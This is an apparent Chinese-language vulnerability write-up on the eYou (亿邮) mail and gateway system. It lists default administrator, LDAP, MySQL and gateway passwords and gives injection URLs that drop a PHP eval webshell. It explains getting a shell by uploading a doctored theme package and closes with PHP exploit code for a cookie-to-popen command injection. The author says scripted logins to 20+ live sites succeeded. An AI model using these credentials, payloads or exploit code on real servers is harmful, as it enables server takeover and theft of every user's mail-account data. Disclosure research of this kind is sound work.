eYou(亿邮)邮箱系统漏洞
** 1.默认配置漏洞
这里的情况旧版新版都存在。首先默认的网关系统是跟邮件系统在一个机器上的,访问8080端口即可。
> http://www.target.com/admin/
> 默认账户 admin aaaaa,部分站点还有eyoutest之类的账户,不知道是不是eyou的工作人员测试的时候留下忘记删除的账户,同样密码为aaaaa
登录后直接导出所有用户。。。
> 默认LDAP信息:eyouadmin aaaaa
> 默认MySQL信息: root 密码空
> 网关后台http://www.target.com:8080/admin/或http://www.target.com:8080/gw/admin/
> 有三个默认账户,分别为
> admin:+-ccccc
> eyougw:admin@(eyou)
> eyouuser:eyou_admin
网关处的管理员是存放在mysql中,可是eYou产品在安装过程中没有任何提示要求更改此处密码,算是官方留的后门吗?
查看投递日志可以查看敏感信息。
** 2.旧版网关漏洞
网关系统这里问题挺严重的喔,只要能访问到网关,只要在网关处能查看到队列什么的,就能执行命令
利用URL:
> php/mailaction1.php?action=x&index=738952509.37684;echo '<?php eval($_REQUEST[cmd]) ?>'>/opt/apache/htdocs/t1.php
> php/mailaction1.php?action=x&index=738952509.37684;ls>t1.php
index参数没过滤,直接带入执行了。
旧版网关很多处地方有类似问题的,认真看下代码就发现了。
入侵者得到webshell之后,直接使用/var/eyou/sbin/userdb_extract domain就能导出该域下所有用户的账户信息!
这里的影响版本貌似是3.6-4.0
** 3.新版网关漏洞
新版网关比旧版的要安全多了。。。不过它之所以安全多了,是因为把代码写复杂了。。。把要研究的人都给绕晕了。。。
顺便吐槽下这个新旧版本代码变化也太大了把。。。
用前面发现的账户登录网关后台。我抓了一大堆网址,然后自己写脚本来模拟登录,20+个站点没有一个修改了该处的密码。。。所以这里新版后台登录的成功率是很高的。
新版本的网关,对用户默认输入的参数都进行了过滤,过滤了<、>什么的,然后注射啊命令执行什么的暂时还木有发现。
不过在管理配置那里的风格管理,对上传的风格包,系统没有任何判断就直接覆盖到gw/css/目录去了。
然后入侵者就简单了,用上面的后门账户登录网关后台,下载默认的风格包,解压后加入php文件,然后上传覆盖。。。ok,getshell成功,然后就没然后了。
影响版本为网关4.0以后的版本
** 4.邮箱系统远程执行漏洞
前面三个项目都或多或少都有条件限制,不够劲爆,再来个劲爆的,只要邮箱对外访问,就能直接getshell。
问题在http://www.target.com/grad/admin/domain_logo.php这里,这个文件直接读取Cookie("cookie"),然后就带入popen了,没任何过滤,多好啊。
exp可以参考下面的代码来写,很简单很弱智的漏洞
public function action_test() { $domain = $_GET['domain']; $url = "http://$domain/grad/admin/domain_logo.php"; $cmd = "ls>test.txt"; $req = Request::factory($url) ->cookie('cookie', "/php/lib/;$cmd") //->send_headers() ->execute(); echo $domain; echo '<br />'; echo $cmd; //echo '<br />'; //$remote_url = "http://$domain/grad/admin/test.txt"; //$rs = file_get_contents($remote_url); //echo $rs ? 'Has bug!' : 'No bug!'; //$req2 = Request::factory($url) // ->cookie('cookie', "/php/lib/;rm test.txt") //->send_headers() // ->execute(); exit; }